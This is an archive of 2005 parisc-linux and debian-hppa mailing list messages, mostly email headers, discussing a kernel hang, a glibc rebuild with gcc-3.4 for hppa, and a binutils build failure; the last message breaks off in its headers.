Date: Tue, 13 Sep 2005 18:40:47 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200509132240.j8DMelH6005528@hiauly1.hia.nrc.ca>
References: <200509131508.j8DF8i72016209@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623921 16672 80.91.229.3 (22 Nov 2014 02:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Sep 2005 22:41:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 14 Sep 2005 00:41:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 947727D6E3;
	Tue, 13 Sep 2005 16:40:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29565-01; Tue, 13 Sep 2005 16:40:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66A567D6CB;
	Tue, 13 Sep 2005 16:40:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 373297D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Sep 2005 16:40:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29318-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Sep 2005 16:40:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 81C427D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Sep 2005 16:40:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j8DMemXO005529; Tue, 13 Sep 2005 18:40:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8DMelH6005528;
	Tue, 13 Sep 2005 18:40:47 -0400 (EDT)
In-Reply-To: <200509131508.j8DF8i72016209@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Sep 13, 2005 11:08:44 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KTBVY6Q6eSEkYL6WZHQhaXN1IGRvb4AF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23151

> I tried the prebuilt binary on my c3k yesterday evening.  It hung
> within an hour or so running the GCC 4.1 testsuite.

Based on the TOC dump, this hang appears to have been caused by
a loop in do_page_fault.  The code was in find_vma_prev ().

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc binary NMU for hppa, built with gcc-3.4
Date: Sat, 17 Sep 2005 19:23:33 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <17196.20757.267124.105624__3335.17135954953$1416623921$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623921 16678 80.91.229.3 (22 Nov 2014 02:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: debian-glibc@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Sep 2005 17:23:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 17 Sep 2005 19:23:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1685F7D645;
	Sat, 17 Sep 2005 11:23:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32122-09; Sat, 17 Sep 2005 11:23:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 75ABF7D64E;
	Sat, 17 Sep 2005 11:23:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 616FF7D644
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Sep 2005 11:23:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32122-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Sep 2005 11:23:39 -0600 (MDT)
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by free.linux.hp.com (Postfix) with ESMTP id 6B1C47D41A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Sep 2005 11:23:39 -0600 (MDT)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de
	[130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id TAA05264;
	Sat, 17 Sep 2005 19:23:36 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id EF327F20F;
	Sat, 17 Sep 2005 19:23:35 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
	by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
	id 00273-47; Sat, 17 Sep 2005 19:23:33 +0200 (MEST) 11340
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Sat, 17 Sep 2005 19:23:33 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j8HHNXgj003636;
	Sat, 17 Sep 2005 19:23:33 +0200 (MEST)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cjReY85OeSEkQ76WZHQhaXN1IGRvb4CB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23152

Following the discussion on parisc, I uploaded glibc built with
gcc-3.4. Validated, that gcc-4.0 bootstraps again and the python build
errors are gone.

Please make this change for the next sourceful upload.

    Matthias
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: glibc binary NMU for hppa, built with gcc-3.4
Date: Sat, 17 Sep 2005 19:23:33 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <17196.20757.267124.105624__18528.5499007025$1416623922$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623922 16692 80.91.229.3 (22 Nov 2014 02:38:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:42 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: debian-glibc@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Sep 2005 17:40:20 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx029) with SMTP; 17 Sep 2005 19:40:20 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 62BBC2E914; Sat, 17 Sep 2005 12:40:17 -0500 (CDT)
Old-Return-Path: <doko@cs.tu-berlin.de>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by murphy.debian.org (Postfix) with ESMTP id 68AD42DD8F;
	Sat, 17 Sep 2005 12:23:36 -0500 (CDT)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de [130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id TAA05264;
	Sat, 17 Sep 2005 19:23:36 +0200 (MEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id EF327F20F;
	Sat, 17 Sep 2005 19:23:35 +0200 (MEST)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
 by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
 id 00273-47; Sat, 17 Sep 2005 19:23:33 +0200 (MEST) 11340
Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Sat, 17 Sep 2005 19:23:33 +0200 (MEST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id j8HHNXgj003636;
	Sat, 17 Sep 2005 19:23:33 +0200 (MEST)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-08-24_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-0.2 required=4.0 tests=AWL autolearn=no 
	version=3.0.3
Resent-Message-ID: <2bbKbD.A.y2B.BUFLDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4798
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 17 Sep 2005 12:40:17 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: UzBeY3IheSEkb76WZHQhaXN1IGRvb4Bz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23153

Following the discussion on parisc, I uploaded glibc built with
gcc-3.4. Validated, that gcc-4.0 bootstraps again and the python build
errors are gone.

Please make this change for the next sourceful upload.

    Matthias


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc binary NMU for hppa, built with gcc-3.4
Date: Sun, 18 Sep 2005 13:22:44 -0400 (EDT)
Lines: 17
Approved: news@gmane.org
Message-ID: <200509181722.j8IHMj1j027274__13822.6003073671$1416623922$gmane$org@hiauly1.hia.nrc.ca>
References: <17196.20757.267124.105624@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623922 16699 80.91.229.3 (22 Nov 2014 02:38:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:42 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Sep 2005 17:39:16 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx013) with SMTP; 18 Sep 2005 19:39:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 342842DE0E; Sun, 18 Sep 2005 12:39:10 -0500 (CDT)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 052A02DD9B
	for <debian-hppa@lists.debian.org>; Sun, 18 Sep 2005 12:22:54 -0500 (CDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id j8IHMjeT027275;
	Sun, 18 Sep 2005 13:22:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j8IHMj1j027274;
	Sun, 18 Sep 2005 13:22:45 -0400 (EDT)
In-Reply-To: <17196.20757.267124.105624@gargle.gargle.HOWL> from "Matthias Klose" at Sep 17, 2005 07:23:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-08-24_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.9 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <W__jxB.A.kkF.-YaLDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4803
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 18 Sep 2005 12:39:10 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: E8NfYwRDeSEkf76WZHQhaXN1IGRvb4Ao
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23154

> Following the discussion on parisc, I uploaded glibc built with
> gcc-3.4. Validated, that gcc-4.0 bootstraps again and the python build
> errors are gone.

Does this fix GCC PR 23731?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils breaks hppa kernel build,
	bad operands of fic, m
Date: Sat, 24 Sep 2005 10:45:40 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <1127580340.10496.7.camel@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623922 16709 80.91.229.3 (22 Nov 2014 02:38:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Sep 2005 16:45:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 24 Sep 2005 18:45:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41C0E7D67B;
	Sat, 24 Sep 2005 10:45:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24662-06; Sat, 24 Sep 2005 10:45:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9806E7D67C;
	Sat, 24 Sep 2005 10:45:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FC447D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:45:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24662-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:45:52 -0600 (MDT)
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by free.linux.hp.com (Postfix) with ESMTP id C31A67D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:45:52 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id 73F93D8F6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 12:45:52 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 2DCBB41E055
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 16:45:47 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id CD55D1340F2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:45:46 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24980-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:45:45 -0600 (MDT)
Original-Received: from localhost (hplu.lsy [10.100.0.20])
	by ldl.fc.hp.com (Postfix) with ESMTP id 0E4DA1340D4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:45:44 -0600 (MDT)
X-Mailer: Evolution 2.2.3 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n+dHY4RoeSEkNb6WZHQhaXN1IGRvb0Dg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23155

As discussed on irc:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=329888
-- 
dann frazier <dannf@hp.com>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J6000 hangs with 2.6.14-rc1-pa1-32smp
Date: Sat, 24 Sep 2005 10:58:18 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20050924165818.GB7824@colo.lackof.org>
References: <43309941.4020706@netvisao.pt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623923 16715 80.91.229.3 (22 Nov 2014 02:38:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Antonio Cardoso Martins <digiplan@netvisao.pt>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Sep 2005 16:52:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 24 Sep 2005 18:52:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD9957D6B5;
	Sat, 24 Sep 2005 10:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26611-08; Sat, 24 Sep 2005 10:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4BAF7D6B6;
	Sat, 24 Sep 2005 10:51:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F91D7D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:51:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24662-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:51:54 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B33567D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Sep 2005 10:51:54 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BFDDB2983E6;
	Sat, 24 Sep 2005 10:58:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
